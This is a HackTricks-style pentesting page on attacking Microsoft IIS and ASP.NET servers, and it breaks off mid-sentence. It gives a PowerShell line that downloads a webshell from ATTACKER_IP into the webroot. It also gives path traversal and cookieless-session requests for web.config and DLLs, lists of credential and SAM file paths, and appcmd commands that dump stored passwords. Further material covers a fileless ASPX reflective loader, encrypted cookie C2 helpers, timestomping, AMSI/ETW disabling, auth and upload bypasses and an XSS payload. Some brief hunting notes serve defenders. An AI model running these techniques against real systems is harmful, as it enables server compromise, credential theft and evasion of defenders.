iis-internet-information-services.md (40419B)
1 --- 2 title: "IIS - Internet Information Services" 3 section: "Network Services" 4 sectionSlug: "network-services-pentesting" 5 sourcePath: "src/network-services-pentesting/pentesting-web/iis-internet-information-services.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # IIS - Internet Information Services 14 15 Test executable file extensions: 16 17 - asp 18 - aspx 19 - config 20 - php 21 22 ## Writable webroot → ASPX command shell 23 24 If a low-privileged user/group has **write access to `C:\inetpub\wwwroot`**, you can drop an ASPX webshell and execute OS commands as the application pool identity (often holding **SeImpersonatePrivilege**).<sup>[[1]](#references)</sup> 25 26 - Verify ACLs: `icacls C:\inetpub\wwwroot` or `cacls .` looking for `(F)` on your user/group. 27 - Upload a command webshell (e.g., fuzzdb/tennc `cmd.aspx`) using PowerShell: 28 29 ```powershell 30 iwr http://ATTACKER_IP/shell.aspx -OutFile C:\inetpub\wwwroot\shell.aspx 31 ``` 32 33 - Request `/shell.aspx` and run commands; identity typically shows `iis apppool\defaultapppool`. 34 - Combine with Potato-family LPE (e.g., GodPotato/SigmaPotato) when the AppPool token has SeImpersonatePrivilege to pivot to SYSTEM. 35 36 ## Internal IP address disclosure 37 38 When an IIS deployment returns a redirect, try removing the `Host` header and sending HTTP/1.0. A misconfigured response may place an internal IP address in the `Location` header: 39 40 ```text 41 nc -v domain.com 80 42 openssl s_client -connect domain.com:443 43 ``` 44 45 Response disclosing the internal IP: 46 47 ```text 48 GET / HTTP/1.0 49 50 HTTP/1.1 302 Moved Temporarily 51 Cache-Control: no-cache 52 Pragma: no-cache 53 Location: https://192.168.5.237/owa/ 54 Server: Microsoft-IIS/10.0 55 X-FEServer: NHEXCHANGE2016 56 ``` 57 58 ## Execute .config files 59 60 If an application lets you upload a `.config` file into a served directory, an IIS `web.config` may be usable for code execution. One technique appends the payload inside an HTML comment: [download an example here](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config). 61 62 More information and techniques to exploit this vulnerability [here](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)<sup>[[2]](#references)</sup> 63 64 ## IIS discovery and brute force 65 66 ### Passive discovery and active fingerprinting 67 68 Before brute-forcing, try to identify IIS/ASP.NET hosts passively:<sup>[[3]](#references)</sup> 69 70 ```bash 71 ssl:"target.com" http.title:"IIS" 72 ssl.cert.subject.CN:"target.com" http.title:"IIS" 73 org:"target" http.title:"IIS" 74 site:target.com intitle:"IIS Windows Server" 75 site:target.com inurl:aspnet_client 76 site:target.com inurl:_vti_bin 77 site:target.com ext:aspx | ext:ashx | ext:asmx 78 ``` 79 80 Also check the response headers directly or at scale: 81 82 ```bash 83 nc -v target.com 80 84 openssl s_client -connect target.com:443 85 httpx -l targets.txt -td | grep IIS | tee iis-targets.txt 86 ``` 87 88 `Server: Microsoft-IIS/<version>` and `X-Powered-By: ASP.NET` are the common giveaways. 89 90 Download the list that I have created: 91 92 [Iisfinal.Txt](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/iisfinal.txt) 93 94 It was created merging the contents of the following lists: 95 96 [https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt)\ 97 [http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html](http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html)\ 98 [https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt](https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt)\ 99 [https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt)\ 100 [https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\ 101 [https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt) 102 103 Use it without adding extensions; entries that need an extension already include one. 104 105 ### IIS-specific files and extensions worth fuzzing 106 107 Generic lists usually miss interesting .NET artifacts. Prioritise paths such as: 108 109 ```text 110 /web.config 111 /web.config.bak 112 /web.config.old 113 /web.config.txt 114 /global.asax 115 /trace.axd 116 /elmah.axd 117 /connectionstrings.config 118 /appsettings.json 119 /appsettings.Development.json 120 /appsettings.Staging.json 121 /appsettings.Production.json 122 /appsettings.Local.json 123 /secrets.json 124 /WS_FTP.LOG 125 /_vti_pvt/service.cnf 126 ``` 127 128 Useful IIS extensions to add during content discovery: `.asp,.aspx,.ashx,.asmx,.wsdl,.wadl,.config,.xml,.zip,.txt,.dll,.json` 129 130 ```bash 131 ffuf -u https://target.com/FUZZ -w iis-wordlist.txt \ 132 -e .asp,.aspx,.ashx,.asmx,.config,.json,.xml,.zip,.bak,.txt \ 133 -mc 200,301,302,403 -fs 0 134 ``` 135 136 IIS is case-insensitive, so normalise custom lists first: 137 138 ```bash 139 tr '[:upper:]' '[:lower:]' | sort -u 140 ``` 141 142 ## Path Traversal 143 144 ### Leaking source code 145 146 Check the full writeup in: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)<sup>[[4]](#references)</sup> 147 148 > [!TIP] 149 > In summary, an application may contain several `web.config` files with references to **assembly identities** and **namespaces**. This information can reveal where binaries are located so you can download them.\ 150 > Decompiling downloaded DLLs can expose additional namespaces. Probe the corresponding directories for more `web.config` files, namespaces, and assembly identities.\ 151 > Also, the files **connectionstrings.config** and **global.asax** may contain interesting information. 152 153 In **.Net MVC applications**, the **web.config** file plays a crucial role by specifying each binary file the application relies on through **"assemblyIdentity"** XML tags. 154 155 ### **Exploring Binary Files** 156 157 An example of accessing the **web.config** file is shown below: 158 159 ```html 160 GET /download_page?id=..%2f..%2fweb.config HTTP/1.1 161 Host: example-mvc-application.minded 162 ``` 163 164 This request reveals various settings and dependencies, such as: 165 166 - **EntityFramework** version 167 - **AppSettings** for webpages, client validation, and JavaScript 168 - **System.web** configurations for authentication and runtime 169 - **System.webServer** modules settings 170 - **Runtime** assembly bindings for numerous libraries like **Microsoft.Owin**, **Newtonsoft.Json**, and **System.Web.Mvc** 171 172 These settings indicate that certain files, such as **/bin/WebGrease.dll**, are located within the application's /bin folder. 173 174 ### **Root Directory Files** 175 176 Files found in the root directory, like **/global.asax** and **/connectionstrings.config** (which contains sensitive passwords), are essential for the application's configuration and operation. 177 178 ### **Namespaces and Web.Config** 179 180 MVC applications also define additional **web.config files** for specific namespaces to avoid repetitive declarations in each file, as demonstrated with a request to download another **web.config**: 181 182 ```html 183 GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1 184 Host: example-mvc-application.minded 185 ``` 186 187 ### **Downloading DLLs** 188 189 The mention of a custom namespace hints at a DLL named "**WebApplication1**" present in the /bin directory. Following this, a request to download the **WebApplication1.dll** is shown: 190 191 ```html 192 GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1 193 Host: example-mvc-application.minded 194 ``` 195 196 This suggests the presence of other essential DLLs, like **System.Web.Mvc.dll** and **System.Web.Optimization.dll**, in the /bin directory. 197 198 In a scenario where a DLL imports a namespace called **WebApplication1.Areas.Minded**, an attacker might infer the existence of other web.config files in predictable paths, such as **/area-name/Views/**, containing specific configurations and references to other DLLs in the /bin folder. For example, a request to **/Minded/Views/web.config** can reveal configurations and namespaces that indicate the presence of another DLL, **WebApplication1.AdditionalFeatures.dll**. 199 200 ### Cookieless session path confusion → `/bin` DLL disclosure 201 202 Legacy ASP.NET cookieless sessions accept path segments like `(S(X))`. IIS strips those segments during normalisation, which can sometimes expose DLLs from `/bin` even when direct access is denied:<sup>[[3]](#references)</sup> 203 204 ```http 205 GET /(S(X))/b/(S(X))in/Newtonsoft.Json.dll 206 GET /(S(X))/b/(S(X))in/WebApplication1.dll 207 GET /(S(X))/b/(S(X))in/App_Code.dll 208 ``` 209 210 After downloading an application DLL, decompile it with dnSpy / dotPeek to recover controllers, routes, hardcoded credentials, API keys, and custom auth logic. Combine this with leaked `web.config` / `Views/web.config` files and the ASP.NET [ViewState exploitation notes](/hacktricks/pentesting-web/deserialization/exploiting-viewstate-knowing-the-secret) if you recover `<machineKey>` values. 211 212 ### Common files 213 214 From [here](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)<sup>[[5]](#references)</sup> 215 216 ```text 217 C:\Apache\conf\httpd.conf 218 C:\Apache\logs\access.log 219 C:\Apache\logs\error.log 220 C:\Apache2\conf\httpd.conf 221 C:\Apache2\logs\access.log 222 C:\Apache2\logs\error.log 223 C:\Apache22\conf\httpd.conf 224 C:\Apache22\logs\access.log 225 C:\Apache22\logs\error.log 226 C:\Apache24\conf\httpd.conf 227 C:\Apache24\logs\access.log 228 C:\Apache24\logs\error.log 229 C:\Documents and Settings\Administrator\NTUser.dat 230 C:\php\php.ini 231 C:\php4\php.ini 232 C:\php5\php.ini 233 C:\php7\php.ini 234 C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf 235 C:\Program Files (x86)\Apache Group\Apache\logs\access.log 236 C:\Program Files (x86)\Apache Group\Apache\logs\error.log 237 C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf 238 C:\Program Files (x86)\Apache Group\Apache2\logs\access.log 239 C:\Program Files (x86)\Apache Group\Apache2\logs\error.log 240 c:\Program Files (x86)\php\php.ini" 241 C:\Program Files\Apache Group\Apache\conf\httpd.conf 242 C:\Program Files\Apache Group\Apache\conf\logs\access.log 243 C:\Program Files\Apache Group\Apache\conf\logs\error.log 244 C:\Program Files\Apache Group\Apache2\conf\httpd.conf 245 C:\Program Files\Apache Group\Apache2\conf\logs\access.log 246 C:\Program Files\Apache Group\Apache2\conf\logs\error.log 247 C:\Program Files\FileZilla Server\FileZilla Server.xml 248 C:\Program Files\MySQL\my.cnf 249 C:\Program Files\MySQL\my.ini 250 C:\Program Files\MySQL\MySQL Server 5.0\my.cnf 251 C:\Program Files\MySQL\MySQL Server 5.0\my.ini 252 C:\Program Files\MySQL\MySQL Server 5.1\my.cnf 253 C:\Program Files\MySQL\MySQL Server 5.1\my.ini 254 C:\Program Files\MySQL\MySQL Server 5.5\my.cnf 255 C:\Program Files\MySQL\MySQL Server 5.5\my.ini 256 C:\Program Files\MySQL\MySQL Server 5.6\my.cnf 257 C:\Program Files\MySQL\MySQL Server 5.6\my.ini 258 C:\Program Files\MySQL\MySQL Server 5.7\my.cnf 259 C:\Program Files\MySQL\MySQL Server 5.7\my.ini 260 C:\Program Files\php\php.ini 261 C:\Users\Administrator\NTUser.dat 262 C:\Windows\debug\NetSetup.LOG 263 C:\Windows\Panther\Unattend\Unattended.xml 264 C:\Windows\Panther\Unattended.xml 265 C:\Windows\php.ini 266 C:\Windows\repair\SAM 267 C:\Windows\repair\system 268 C:\Windows\System32\config\AppEvent.evt 269 C:\Windows\System32\config\RegBack\SAM 270 C:\Windows\System32\config\RegBack\system 271 C:\Windows\System32\config\SAM 272 C:\Windows\System32\config\SecEvent.evt 273 C:\Windows\System32\config\SysEvent.evt 274 C:\Windows\System32\config\SYSTEM 275 C:\Windows\System32\drivers\etc\hosts 276 C:\Windows\System32\winevt\Logs\Application.evtx 277 C:\Windows\System32\winevt\Logs\Security.evtx 278 C:\Windows\System32\winevt\Logs\System.evtx 279 C:\Windows\win.ini 280 C:\xampp\apache\conf\extra\httpd-xampp.conf 281 C:\xampp\apache\conf\httpd.conf 282 C:\xampp\apache\logs\access.log 283 C:\xampp\apache\logs\error.log 284 C:\xampp\FileZillaFTP\FileZilla Server.xml 285 C:\xampp\MercuryMail\MERCURY.INI 286 C:\xampp\mysql\bin\my.ini 287 C:\xampp\php\php.ini 288 C:\xampp\security\webdav.htpasswd 289 C:\xampp\sendmail\sendmail.ini 290 C:\xampp\tomcat\conf\server.xml 291 ``` 292 293 ## HTTPAPI 2.0 404 Error 294 295 If you see an error like the following one: 296 297  298 299 This usually means that the server **did not receive the expected domain name** in the `Host` header.\ 300 Inspect the served **TLS certificate** for domain or subdomain names. If it does not identify the site, you may need to **brute-force virtual hosts** until you find the correct one. 301 302 ```bash 303 ffuf -u https://TARGET_IP/ -H 'Host: FUZZ.target.com' -w vhosts.txt -fs 0 304 ``` 305 306 ## Reverse proxy / IIS path normalisation confusion 307 308 If IIS is behind a reverse proxy or WAF, test whether the proxy and IIS canonicalise the path differently:<sup>[[3]](#references)</sup> 309 310 ```text 311 /anything/..%2fadmin/ 312 ``` 313 314 A front proxy may evaluate the request as `/anything/`, while IIS decodes `%2f` into `/`, resolves `..`, and serves `/admin/`. This is especially useful against path-based ACLs, admin panels, and internal-only routes. 315 316 ## Decrypt encrypted configuration and ASP.NET Core Data Protection key rings 317 318 Two common patterns for protecting secrets in IIS-hosted .NET applications are: 319 320 - ASP.NET Protected Configuration (`RsaProtectedConfigurationProvider`) for `web.config` sections such as `<connectionStrings>`. 321 - ASP.NET Core Data Protection key rings persisted locally and used to protect application secrets and cookies. 322 323 If you have filesystem or interactive access on the web server, co-located keys often allow decryption. 324 325 - ASP.NET (Full Framework) – decrypt protected config sections with aspnet_regiis: 326 327 ```batch 328 # Decrypt a section by app path (site configured in IIS) 329 %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pd "connectionStrings" -app "/MyApplication" 330 331 # Or specify the physical path (-pef/-pdf write/read to a config file under a dir) 332 %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf "connectionStrings" "C:\inetpub\wwwroot\MyApplication" 333 ``` 334 335 - ASP.NET Core – look for Data Protection key rings stored locally (XML/JSON files) under locations like: 336 - %PROGRAMDATA%\Microsoft\ASP.NET\DataProtection-Keys 337 - HKLM\SOFTWARE\Microsoft\ASP.NET\Core\DataProtection-Keys (registry) 338 - App-managed folder (e.g., App_Data\keys or a Keys directory next to the app) 339 340 With the key ring available, an operator running in the app’s identity can instantiate an IDataProtector with the same purposes and unprotect stored secrets. Misconfigurations that store the key ring with the app files make offline decryption trivial once the host is compromised. 341 342 343 ## Harvesting IIS configuration and credentials with ApplicationHost.config / AppCmd 344 345 `ApplicationHost.config` is the root IIS configuration file and usually lives at `%windir%\system32\inetsrv\config\applicationHost.config`.<sup>[[6]](#references)</sup> Once you get local code execution on the server, enumerate it before dropping more tooling because it often reveals: 346 347 - hidden site bindings / internal hostnames 348 - applications mapped outside `C:\inetpub\wwwroot` 349 - custom application-pool identities 350 - virtual-directory credentials 351 - globally registered native modules and per-app handlers/modules 352 353 Passwords stored there are usually **encrypted at rest** when configured through IIS Manager / AppCmd, but the local IIS management path can still return the **decrypted** values. 354 355 ```batch 356 :: Site / app / vdir mapping 357 %windir%\system32\inetsrv\appcmd.exe list site /config 358 %windir%\system32\inetsrv\appcmd.exe list app /config 359 %windir%\system32\inetsrv\appcmd.exe list vdir /config 360 361 :: App-pool identities / credentials 362 %windir%\system32\inetsrv\appcmd.exe list apppool /text:name 363 %windir%\system32\inetsrv\appcmd.exe list apppool "DefaultAppPool" /text:processModel.identityType 364 %windir%\system32\inetsrv\appcmd.exe list apppool "DefaultAppPool" /text:processModel.userName 365 %windir%\system32\inetsrv\appcmd.exe list apppool "DefaultAppPool" /text:processModel.password 366 367 :: Virtual-directory credentials 368 %windir%\system32\inetsrv\appcmd.exe list vdir "Default Web Site/" /text:userName 369 %windir%\system32\inetsrv\appcmd.exe list vdir "Default Web Site/" /text:password 370 ``` 371 372 If you already have command execution as the IIS worker, also review `applicationHost.config` directly to harvest **bindings**, **physical paths**, and **module registrations** that may not be obvious from the current site only. Don't stop at the live file: IIS also keeps configuration history by default under `%SystemDrive%\inetpub\history`, so older `CFGHISTORY_*` snapshots may preserve **previous bindings, paths, usernames, or encrypted password blobs** even after admins cleaned the active config. Quick triage: 373 374 ```batch 375 %windir%\system32\inetsrv\appcmd.exe list backups 376 dir /b C:\inetpub\history 377 dir /s /b C:\inetpub\history\applicationHost.config 378 ``` 379 380 For broader post-exploitation loot after OS execution, check [Windows Local Privilege Escalation](/hacktricks/windows-hardening/windows-local-privilege-escalation/overview). 381 382 ## IIS fileless backdoors and in-memory .NET loaders (NET-STAR style) 383 384 The Phantom Taurus/NET-STAR toolkit shows a mature pattern for fileless IIS persistence and post‑exploitation entirely inside w3wp.exe. The core ideas are broadly reusable for custom tradecraft and for detection/hunting.<sup>[[7]](#references)</sup> 385 386 Key building blocks: 387 - ASPX bootstrapper hosting an embedded payload: a single .aspx page (e.g., OutlookEN.aspx) carries a Base64‑encoded, optionally Gzip‑compressed .NET DLL. Upon a trigger request it decodes, decompresses and reflectively loads it into the current AppDomain and invokes the main entry point (e.g., ServerRun.Run()). 388 - Cookie‑scoped, encrypted C2 with multi‑stage packing: tasks/results are wrapped with Gzip → AES‑ECB/PKCS7 → Base64 and moved via seemingly legitimate cookie‑heavy requests; operators used stable delimiters (e.g., "STAR") for chunking. 389 - Reflective .NET execution: accept arbitrary managed assemblies as Base64, load via Assembly.Load(byte[]) and pass operator args for rapid module swaps without touching disk. 390 - Operating in precompiled ASP.NET sites: add/manage auxiliary shells/backdoors even when the site is precompiled (e.g., dropper adds dynamic pages/handlers or leverages config handlers) – exposed by commands such as bypassPrecompiledApp, addshell, listshell, removeshell. 391 - Timestomping/metadata forgery: expose a changeLastModified action and timestomp on deployment (including future compilation timestamps) to hinder DFIR. 392 - Optional AMSI/ETW pre‑disable for loaders: a second‑stage loader can disable AMSI and ETW before calling Assembly.Load to reduce inspection of in‑memory payloads.<sup>[[17]](#references)</sup> 393 394 Minimal ASPX loader pattern: 395 ```text 396 <%@ Page Language="C#" %> 397 <%@ Import Namespace="System" %> 398 <%@ Import Namespace="System.IO" %> 399 <%@ Import Namespace="System.IO.Compression" %> 400 <%@ Import Namespace="System.Reflection" %> 401 <script runat="server"> 402 protected void Page_Load(object sender, EventArgs e){ 403 // 1) Obtain payload bytes (hard‑coded blob or from request) 404 string b64 = /* hardcoded or Request["d"] */; 405 byte[] blob = Convert.FromBase64String(b64); 406 // optional: decrypt here if AES is used 407 using(var gz = new GZipStream(new MemoryStream(blob), CompressionMode.Decompress)){ 408 using(var ms = new MemoryStream()){ 409 gz.CopyTo(ms); 410 var asm = Assembly.Load(ms.ToArray()); 411 // 2) Invoke the managed entry point (e.g., ServerRun.Run) 412 var t = asm.GetType("ServerRun"); 413 var m = t.GetMethod("Run", BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static|BindingFlags.Instance); 414 object inst = m.IsStatic ? null : Activator.CreateInstance(t); 415 m.Invoke(inst, new object[]{ HttpContext.Current }); 416 } 417 } 418 } 419 </script> 420 ``` 421 422 Packing/crypto helpers (Gzip + AES‑ECB + Base64) 423 ```csharp 424 using System.Security.Cryptography; 425 426 static byte[] AesEcb(byte[] data, byte[] key, bool encrypt){ 427 using(var aes = Aes.Create()){ 428 aes.Mode = CipherMode.ECB; aes.Padding = PaddingMode.PKCS7; aes.Key = key; 429 ICryptoTransform t = encrypt ? aes.CreateEncryptor() : aes.CreateDecryptor(); 430 return t.TransformFinalBlock(data, 0, data.Length); 431 } 432 } 433 434 static string Pack(object obj, byte[] key){ 435 // serialize → gzip → AES‑ECB → Base64 436 byte[] raw = Serialize(obj); // your TLV/JSON/msgpack 437 using var ms = new MemoryStream(); 438 using(var gz = new GZipStream(ms, CompressionLevel.Optimal, true)) gz.Write(raw, 0, raw.Length); 439 byte[] enc = AesEcb(ms.ToArray(), key, true); 440 return Convert.ToBase64String(enc); 441 } 442 443 static T Unpack<T>(string b64, byte[] key){ 444 byte[] enc = Convert.FromBase64String(b64); 445 byte[] cmp = AesEcb(enc, key, false); 446 using var gz = new GZipStream(new MemoryStream(cmp), CompressionMode.Decompress); 447 using var outMs = new MemoryStream(); gz.CopyTo(outMs); 448 return Deserialize<T>(outMs.ToArray()); 449 } 450 ``` 451 452 Cookie/session flow and command surface 453 - Session bootstrap and tasking are carried via cookies to blend with normal web activity. 454 - Commands observed in the wild included: fileExist, listDir, createDir, renameDir, fileRead, deleteFile, createFile, changeLastModified; addshell, bypassPrecompiledApp, listShell, removeShell; executeSQLQuery, ExecuteNonQuery; and dynamic execution primitives code_self, code_pid, run_code for in‑memory .NET execution. 455 456 Timestomping utility 457 ```csharp 458 File.SetCreationTime(path, ts); 459 File.SetLastWriteTime(path, ts); 460 File.SetLastAccessTime(path, ts); 461 ``` 462 463 Inline AMSI/ETW disable before Assembly.Load (loader variant) 464 ```csharp 465 // Patch amsi!AmsiScanBuffer to return E_INVALIDARG 466 // and ntdll!EtwEventWrite to a stub; then load operator assembly 467 DisableAmsi(); 468 DisableEtw(); 469 Assembly.Load(payloadBytes).EntryPoint.Invoke(null, new object[]{ new string[]{ /* args */ } }); 470 ``` 471 See AMSI/ETW bypass techniques in: windows-hardening/av-bypass.md 472 473 Hunting notes (defenders) 474 - Single, odd ASPX page with very long Base64/Gzip blobs; cookie‑heavy posts. 475 - Unbacked managed modules inside w3wp.exe; strings like Encrypt/Decrypt (ECB), Compress/Decompress, GetContext, Run. 476 - Repeated delimiters like "STAR" in traffic; mismatched or even future timestamps on ASPX/assemblies. 477 478 ## Telerik UI WebResource.axd unsafe reflection (CVE-2025-3600) 479 480 Many ASP.NET apps embed Telerik UI for ASP.NET AJAX and expose the unauthenticated handler Telerik.Web.UI.WebResource.axd. When the Image Editor cache endpoint is reachable (type=iec), the parameters dkey=1 and prtype enable unsafe reflection that executes any public parameterless constructor pre‑auth. This yields a universal DoS primitive and can escalate to pre‑auth RCE on apps with insecure AppDomain.AssemblyResolve handlers. 481 482 See detailed techniques and PoCs here: 483 484 [Telerik Ui Aspnet Ajax Unsafe Reflection Webresource Axd](/hacktricks/network-services-pentesting/pentesting-web/telerik-ui-aspnet-ajax-unsafe-reflection-webresource-axd) 485 486 487 ## Enumerating IIS modules and handlers 488 489 Malicious or simply forgotten **IIS modules/handlers** are a recurring high-value finding: they expand the request pipeline, can introduce pre-auth attack surface, and are also a common **stealth persistence** mechanism once an attacker gets admin on the server. Native global modules are registered in `ApplicationHost.config`, while app-specific managed modules and handlers often live in `web.config`. 490 491 ```batch 492 :: Global native modules 493 %windir%\system32\inetsrv\appcmd.exe list config /section:system.webServer/globalModules 494 495 :: Per-site modules / handlers 496 %windir%\system32\inetsrv\appcmd.exe list config "Default Web Site/" /section:system.webServer/modules 497 %windir%\system32\inetsrv\appcmd.exe list config "Default Web Site/" /section:system.webServer/handlers 498 499 :: Fast triage for custom assemblies under the app root 500 dir /s /b C:\inetpub\wwwroot\bin\*.dll 501 ``` 502 503 Interesting hits include: 504 505 - custom DLLs loaded from an app `bin\` directory 506 - handlers for `*.ashx`, `*.axd`, WebDAV verbs, upload endpoints, or diagnostic pages 507 - third-party modules registered globally but enabled only for one application 508 - modules mapped through `appcmd install module` instead of normal app deployment 509 - assemblies parked in `%windir%\Microsoft.NET\assembly\` (GAC) and then referenced from IIS registration 510 511 Once you have admin on the server, a malicious module is often **quieter than an ASPX webshell** because it runs inside the legitimate IIS pipeline and can trigger only for a specific cookie, URL, header, or User-Agent. Real intrusions have used both **managed modules** and **GAC-registered assemblies** mapped into `w3wp.exe`, so if a registration points outside the app folder, treat it as suspicious until proven otherwise. 512 513 ## Old IIS vulnerabilities worth looking for 514 515 516 ### Microsoft IIS tilde character “\~” Vulnerability/Feature – Short File/Folder Name Disclosure 517 518 You can try to **enumerate folders and files** inside every discovered folder (even if it's requiring Basic Authentication) using this **technique**.\ 519 The main limitation of this technique if the server is vulnerable is that **it can only find up to the first 6 letters of the name of each file/folder and the first 3 letters of the extension** of the files. 520 521 You can use [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) to test for this vulnerability:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/` 522 523  524 525 Original research: [https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf](https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf)<sup>[[8]](#references)</sup> 526 527 You can also use **metasploit**: `use scanner/http/iis_shortname_scanner` 528 529 A nice idea to **find the final name** of the discovered files is to **ask LLMs** for options like it's done in the script [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py) 530 531 You can also use more modern tooling such as [shortscan](https://github.com/bitquark/shortscan):<sup>[[9]](#references)</sup> 532 533 ```bash 534 shortscan https://target.com/ -F -p 1 535 ``` 536 537 Once you have fragments such as `SITEBA~1.ZIP` or `WEB~1.CON`, build a targeted wordlist instead of guessing blindly:<sup>[[10]](#references)</sup> 538 539 - Search GitHub paths for matching prefixes/extensions (for example `path:/global*.asa` or `path:/connec*.config`). 540 - Query BigQuery's public GitHub dataset for real filenames matching the 8.3 prefix. 541 - Brute-force only the missing suffixes and separators with `ffuf`. 542 543 ```sql 544 SELECT DISTINCT path 545 FROM `bigquery-public-data.github_repos.files` 546 WHERE REGEXP_CONTAINS(path, r'(?i)(\/siteba[a-z0-9]+\.zip|^siteba[a-z0-9]+\.zip)') 547 LIMIT 1000 548 ``` 549 550 ```bash 551 ffuf -w wordlist.txt -u https://target.com/desktoFUZZ.zip -mc 200,301,302,403 552 ffuf -w wordlist.txt -u https://target.com/desktop-FUZZ.zip -mc 200,301,302,403 553 ffuf -w wordlist.txt -u https://target.com/desktop_FUZZ.zip -mc 200,301,302,403 554 ffuf -w wordlist.txt -u https://target.com/desktop%20FUZZ.zip -mc 200,301,302,403 555 ffuf -w wordlist.txt -u https://target.com/desktopFUZZ.zip -mc 200,301,302,403 556 ``` 557 558 The recovered names often lead to high-value files such as `web.config`, `global.asax`, archives, or custom admin directories. If the shortname-derived path becomes reachable via a file-read bug, continue with the [file inclusion/path traversal methodology](/hacktricks/pentesting-web/file-inclusion/overview). 559 560 ### Basic Authentication bypass 561 562 **Bypass** a basic authentication (**IIS 7.5**) trying to access: `/admin:$i30:$INDEX_ALLOCATION/admin.php` or `/admin::$INDEX_ALLOCATION/admin.php` 563 564 You can try to **mix** this **vulnerability** and the last one to find new **folders** and **bypass** the authentication. 565 566 ## ASP.NET Trace.AXD enabled debugging 567 568 ASP.NET includes request tracing, commonly exposed through `trace.axd` when enabled.<sup>[[11]](#references)</sup> 569 570 It keeps a very detailed log of all requests made to an application over a period of time. 571 572 This information includes remote client IP's, session IDs, all request and response cookies, physical paths, source code information, and potentially even usernames and passwords.<sup>[[11]](#references)</sup> 573 574 [https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/) 575 576  577 578 ## IIS upload quirks 579 580 If an upload filter only blocks `.asp` / `.aspx`, IIS may still serve attacker-controlled content from other extensions. For general upload methodology see [this page](/hacktricks/pentesting-web/file-upload/overview), but the IIS-specific checks are:<sup>[[3]](#references)</sup> 581 582 - HTML-rendered extensions for stored XSS: `.cer`, `.hxt`, `.htm` 583 - XML/XSS-capable extensions: `.dtd`, `.mno`, `.vml`, `.xsl`, `.xht`, `.svg`, `.xml`, `.xsd`, `.xsf`, `.svgz`, `.xslt`, `.wsdl`, `.xhtml` 584 - SSI extensions worth testing for server-side processing: `.stm`, `.shtm`, `.shtml` 585 - Trailing-dot normalisation bypasses: `shell.aspx.`, `shell.aspx..`, `shell.aspx...` 586 587 A successful `web.config` or executable upload can escalate directly to RCE; otherwise these extensions are still useful for stored XSS and phishing content hosted on the target domain. 588 589 ## HTTP Parameter Pollution / WAF bypass 590 591 ASP.NET often concatenates duplicate parameter values with commas, so try splitting blocked payloads across repeated parameters:<sup>[[3]](#references)</sup> 592 593 ```text 594 https://target.com/page?param=<svg/¶m=onload=alert(1)> 595 ``` 596 597 This is useful when a WAF inspects each fragment independently but the backend later rebuilds the dangerous input. See the generic [parameter pollution page](/hacktricks/pentesting-web/parameter-pollution) for more parsing behaviours. 598 599 ## ASPXAUTH Cookie 600 601 ASPXAUTH uses the following info: 602 603 - **`validationKey`** (string): hex-encoded key to use for signature validation. 604 - **`decryptionMethod`** (string): (default “AES”). 605 - **`decryptionIV`** (string): hex-encoded initialization vector (defaults to a vector of zeros). 606 - **`decryptionKey`** (string): hex-encoded key to use for decryption. 607 608 However, some people will use the **default values** of these parameters and will use as **cookie the email of the user**. Therefore, if you can find a web using the **same platform** that is using the ASPXAUTH cookie and you **create a user with the email of the user you want to impersonate** on the server under attack, you may be able to us**e the cookie from the second server in the first one** and impersonate the user.\ 609 This attacked worked in this [**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).<sup>[[12]](#references)</sup> 610 611 612 ## MachineKey loot → ViewState and auth-cookie abuse 613 614 If a **`web.config` / `machine.config` leak**, backup disclosure, path traversal, or local shell gives you a `<machineKey>`, treat it as **active RCE / impersonation material** and not only as a secret leak. The same `validationKey` / `decryptionKey` pair can usually be 